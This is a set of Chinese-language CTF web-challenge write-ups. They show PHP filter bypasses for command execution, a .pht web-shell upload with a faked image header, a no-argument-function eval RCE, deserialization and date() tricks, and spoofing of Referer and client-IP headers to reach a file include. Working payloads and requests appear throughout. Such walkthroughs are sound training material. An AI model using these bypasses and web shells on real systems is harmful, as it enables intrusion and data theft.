绕过flag关键字+od读取(脚本)+空格过滤
[广东强网杯 2021 团队组]love_Pokemon
<?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
function DefenderBonus($Pokemon){
if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
die('catch broken Pokemon! mew-_-two');
}
else{
return $Pokemon;
}
}
function ghostpokemon($Pokemon){
if(is_array($Pokemon)){
foreach ($Pokemon as $key => $pks) {
$Pokemon[$key] = DefenderBonus($pks);
}
}
else{
$Pokemon = DefenderBonus($Pokemon);
}
}
switch($_POST['myfavorite'] ?? ""){
case 'picacu!':
echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
break;
case 'bulbasaur!':
echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);
$level = $_POST["levelup"] ?? "";
if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
echo file_get_contents('./hint.php');
}
break;
case 'squirtle':
echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);
break;
case 'mewtwo':
$dream = $_POST["dream"] ?? "";
if(strlen($dream)>=20){
die("So Big Pokenmon!");
}
ghostpokemon($dream);
echo shell_exec($dream);
}
?>
简单找一些存在提示的地方
这里有个hint.php
想要看到这个文件,就得满足情况,bulbasaur!
下面还有个正则匹配
那么这个就是说输入的字符串不包含lv100,但是经过escapeshellarg()处理之后含有lv100
escapeshellarg()函数的作用就是可以把字符串转码为可以在shell命令的使用的参数。
(escapeshellarg和escapeshellcmd相似,主要看是否有引号)
escapeshellarg()函数存在漏洞,在处理超过ascii码范围的时候(在字符串中),就会直接过滤该字符串
用url编码进行编写不可见字符
如%82
成功执行存在回显
这个就是
echo md5(‘miaowa!’).md5($_SERVER[‘REMOTE_ADDR’]); 的结果
2f4850466af6a0a50752be95d64c9976b267d649606ebe7cbc7205c3eb166eb0
有点像是十六进制,但是不是
得到hint.php
得到提示,flag位置在/flag
要读取flag的话,就得要用到相应的函数(文件读取,命令执行)
这里有个类似shell_exec的命令执行函数
这里有个限制,就是post的内容不可以超过20个字节,同样这里存在过滤ghostpokemon()函数的过滤
function DefenderBonus($Pokemon){
if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
die('catch broken Pokemon! mew-_-two');
}
else{
return $Pokemon;
}
}
function ghostpokemon($Pokemon){
if(is_array($Pokemon)){
foreach ($Pokemon as $key => $pks) {
$Pokemon[$key] = DefenderBonus($pks);
}
}
else{
$Pokemon = DefenderBonus($Pokemon);
}
}
这里要绕过flag关键字、空格
绕过空格的方法:
$IFS
{$IFS}
$IFS9
%20
绕过读取命令
od
这里用到了[]通配的形式,由于黑名单中有A何L这两个字符,因此构造F[B-Z][@-Z]G,这样就能匹配上ASCII表中的@到Z之间的所有字符
payload
myfavorite=mewtwo&dream=od%09/F[G-Z][@-Z]G
ump = "0000000 051516 041523 043124 034173 061062 063061 060544 026546 0000020 032464 034146 032055 033541 026462 062141 034461 034455 0000040 031060 034541 060470 032065 061067 076541 000012 0000055"
octs = [("0o" + n) for n in ump.split(" ") if n]
hexs = [int(n, 8) for n in octs]
result = ""
for n in hexs:
if (len(hex(n)) > 4):
swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)
result += swapped[2:].zfill(4)
print(bytes.fromhex(result).decode())
对上代码进行解析
octs = [("0o" + n) for n in ump.split(" ") if n]
这行代码的作用是将字符串 ump 按空格分割,并对每个非空的部分添加前缀 "0o",然后将其存储在列表 octs 中。
具体而言,它执行以下操作:
使用 split(" ") 方法将字符串 ump 按空格分割成一个列表。
使用列表解析循环遍历该列表,对于其中的每个非空部分(if n),将其前缀为 "0o"。
最后得到的列表 octs 包含了所有非空部分前缀为 "0o" 的八进制字符串。
例如,如果 ump 是 "0000000 051516 041523 043124",那么执行该行代码后,octs 将会是 ['0o0000000', '0o051516', '0o041523', '0o043124']。
成功得到flag。
php文件类型的转换
[FSCTF 2023]是兄弟,就来传你の🐎!
打开题目
随便上传一个照片,发现提示文件太长
抓包一点点进行删除
这样就可以成功上传了,这里猜测就是验证文件头的,来判断是不是图片格式
尝试上传php,发现存在过滤,随便上传一个后缀,可以成功上传,那就是黑名单验证。
过滤了php文件的其他后缀格式,如php3、phtml
但是,经过测试后,发现pht,没有被过滤
改为GIF89a好操作
但是
这个长度被限制得什么都操作不了
数据包
POST / HTTP/1.1
Host: node4.anna.nssctf.cn:28522
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------21558080372928294470432061913
Content-Length: 346
Origin: http://node4.anna.nssctf.cn:28522
Connection: close
Referer: http://node4.anna.nssctf.cn:28522/
Upgrade-Insecure-Requests: 1
-----------------------------21558080372928294470432061913
Content-Disposition: form-data; name="file"; filename="1.pht"
Content-Type: image/png
BM<?=`cat /*`;
-----------------------------21558080372928294470432061913
Content-Disposition: form-data; name="submit"
Submit
-----------------------------21558080372928294470432061913--
日志文件分析
[陇剑杯 2021]日志分析(问2)
题目提示
下载一个附件,打开后
上面这个解码后,感觉有点看不懂,但是知道/tmp/sess_car
所以tmp目录下的文件是sess_car
日志分析
[陇剑杯 2021]日志分析(问1)
存在源码泄露的话,一般正常访问都是200
可以看到源码为:
www.zip
日志分析
[陇剑杯 2021]日志分析(问3)
对日志文件进行搜索200查看,发现
看到了
SplFileObject协议
日志分析
没有200,但是往下看的时候,发现有几个很特殊的地方,感觉像是base64
即是flag
无参函数rce
[GXYCTF 2019]禁止套娃
查看源代码和http头都没有什么提示信息。
那就是可能存在源码泄露
尝试.git
上工具
打开flag.php文件
打开index.php
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { //过滤了伪协议
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { //使用无参函数,递归
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
查看当前目录下的文件有哪些
翻转字符串
指向第二个数组
读取flag.php
参考文章:
https://blog.csdn.net/qq_74240553/article/details/136143363
反序列化的基础知识
[FSCTF 2023]ez_php1
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{
echo "!!!";
$c = $_POST['FL_AG'];
if(isset($c))
{
if (preg_match('/^.*(flag).*$/', $ja)) {
echo 'You are bad guy!!!';
}
else {
echo "Congratulation!!";
echo $hint1;
}
}
else {
echo "Please input my love FL_AG";
}
} else{
die("game over!");
}
?>
game over!
简单的代码审计一下
存在一个hint,查看一下
访问L0vey0U.php
序列化一下
得到第二个提示
只输出了2
那就用a的值来赋值b的,刚好b能够输出
payload
O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}
得到flag
闭合+js代替php的作用
[FSCTF 2023]EZ_eval
<?php
if(isset($_GET['word'])){
$word = $_GET['word'];
if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
die("nonono.");
}
$word = str_replace("?", "", $word);
eval("?>". $word);
}else{
highlight_file(__FILE__);
}
这里存在一个正则匹配过滤,过滤了命令查看过滤和空格,同时还过滤了问号,在eval中执行前存在?>闭合语句,所以后面的命令就执行的不成功了。
现在的关键突破点就是如何绕过前面的闭合,达到执行命令的效果。
因为?>闭合在前面,和分号有一定的相识,所以后面无论做什么都还是会被闭合,eval函数的作用就是把字符串当作php代码执行,那我以<?php重新开一个呢?(不考虑过滤先,就是这样的思想),就可以想到借助js来调用php语句
<script language='php'>phpinfo();</script>
空格绕过
<script%09language='php'>phpinfo();</script>
成功执行了rce后,后面就是正常的rce了
查看根目录
使用uniq进行查看flag
或者使用cat绝对路径配合通配符进行查看flag
sql伪装下的命令执行
[HZNUCTF 2023 preliminary]guessguessguess
随便进行输入,有回显数据
直接进行闭合注入的时候,会被重置链接
测试数据的时候,我们的sql语句会被翻转,所以要构造一下,才可进行
但是执行了,好像又没执行成功,因为好像没有任何回显
如果不存在注入点的话,那就尝试爆破字段
这是什么考点?
太容易往sql中限制了。。
框里有个hint,那我们尝试输入一下id=hint是否会有提示呢?
答案是有的
命令执行?xss?还是sql?
这里给了三个方向,我们可以一一进行尝试,看到底是哪个漏洞
尝试命令执行,大概率也是(看参数名为cmd)
分号不行
管道符 |
这里还必须要有个ip地址的格式才可以,正常运行后面的指令
flag不在根目录下
查看了源码
发现可以执行phpinfo
信息收集
[FSCTF 2023]寻找蛛丝马迹
每次点击都会改变颜色
没什么信息,查看一下源代码
网站爬虫协议
和苹果有关系?
备份文件?
.DS_store
源码泄露
js文件信息泄露
源代码这里已经全部显现出来了,那就只有文件了
styles.css
找齐了flag的每一段,但是就是不成功,所以,又被困住了这里(漏了一个苹果(笑哭))
最终的flag
FSCTF{Tell_y0U_noT_To_poInT_oUt_tH@t_y000u_Don’t_believe_it!}
data伪协议&md5&sha1的绕过
[SWPUCTF 2023 秋季新生赛]一键连接!
<?php
highlight_file(__FILE__);
error_reporting(0);
$md5_1 = $_GET['md5_1'];
$md5_2 = $_GET['md5_2'];
$sha1_1 = $_GET['sha1_1'];
$sha1_2 = $_GET['sha1_2'];
$new_player =$_GET['new_player'];
if ($md5_1 !== $md5_2 && md5($md5_1) === md5($md5_2)) {
if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2)) {
if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") {
echo "Congratulations~~~~~~~~~";
echo "试试need Antsword<br/>";
@eval($_POST['Nss']);
}else{
echo "可曾听过data协议?";
}
} else {
echo "sha1又如何相等呢";
}
} else {
echo "如何让md5值相等呢¿";
}
如何让md5值相等呢¿
按部就班
date函数绕过&强相等md5非数组绕过
[CISCN 2023 华北]ez_date
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}
unserialize(base64_decode($_GET['code']));
利用不同的数据类型进行绕过md5的强等判断(字符类型和数据类型)
date函数,会干扰我们的读取文件的正常进行,如何绕过呢?
date函数会对特定的字母转化为特定的时间表达格式,那就如何让字母就是字母呢?
\n转义一下
payload
<?php
class date{
public $a=1;
public $b='1';
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
else{
die();
}
}
}
$a=new date();
echo "\$a=".$a->a;
echo '$b='.$a->b;
echo "\n";
echo date('\/f\l\a\g');
echo "\n";
echo base64_encode(serialize($a));
?没结果
忘记传参file了
<?php
class date{
public $a=1;
public $b='1';
public $file='\/f\l\a\g';
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
else{
die();
}
}
}
$a=new date();
echo "\$a=".$a->a;
echo '$b='.$a->b;
echo "\n";
echo date('\/f\l\a\g');
echo "\n";
echo base64_encode(serialize($a));
http://node5.anna.nssctf.cn:28562/?code=Tzo0OiJkYXRlIjozOntzOjE6ImEiO2k6MTtzOjE6ImIiO3M6MToiMSI7czo0OiJmaWxlIjtzOjk6IlwvZlxsXGFcZyI7fQ==
php变量下划线、点的自动转换
[SWPUCTF 2023 秋季新生赛]Pingpingping
存在一个题目描述,”程序未响应“
Litctf2023比赛
[LitCTF 2023]彩蛋
参考文章:
https://blog.csdn.net/Leaf_initial/article/details/130671885?spm=1001.2014.3001.5501
referer也能伪造ip来源
[FSCTF 2023]巴巴托斯!
打开界面
有两个要注意的地方
一个html的网页提示,一个是url参数的file(可能存在任意文件包含,任意文件读取)
直接读取会被限制
绕过:
伪造浏览器
伪造ip
判断是否为本机ip地址
伪造ip的http头部几乎都用上了,但是都没有效果
X-Forwarded-For:127.0.0.1
X-Forwarded:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1
Content-Length: 6
X-Forwarded-For:127.0.0.1
X-Forwarded:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1
以上方法都行不通的话,那就是途径不对,除了判断是否为 local man的方法还有什么方法呢?
尝试一下
是否是referer的参数值(Referer来自)
还真的是
猜测flag的位置
不在根目录下,看一下当前的源码
<?php
$in_name = $_GET['file'];
if (isset($in_name)) {
if ($in_name === 'show_image.php') {
// 直接包含文件
include($in_name);
}
// 检查特定的 User-Agent 和 Referer 头
$user_agent = $_SERVER['HTTP_USER_AGENT'];
// 检查来源地址是否为 127.0.0.1
$ip_address = $_SERVER['REMOTE_ADDR'];
if ($user_agent === 'FSCTF Browser') {
if (isset($_SERVER['HTTP_REFERER']) && $_SERVER['HTTP_REFERER'] === '127.0.0.1') {
// 检查文件是否存在和可读
if (isset($in_name)) {
include($in_name); //没有做任何的过滤
} else {
echo "Invalid file!";
}
} else {
echo "Access Denied! Are you local man?";
}
} else {
echo "Access Denied! I love FSCTF Browser";
}
} else {
header('Location: index.php?file=show_image.php');
}
?>
在当前的文件夹下有个flag.php文件
文件头绕过(直接在png中添加php代码)
[SWPUCTF 2023 秋季新生赛]ez_talk
打开题目容器
查看源码没有什么提示
那就尝试上传一个正常的png图片(直接上传php文件,会被防火墙拦截,重置连接)
用bp抓包后,改变文件后缀可以修改为php文件成功,并且会被解析成功
phpinfo中不存在flag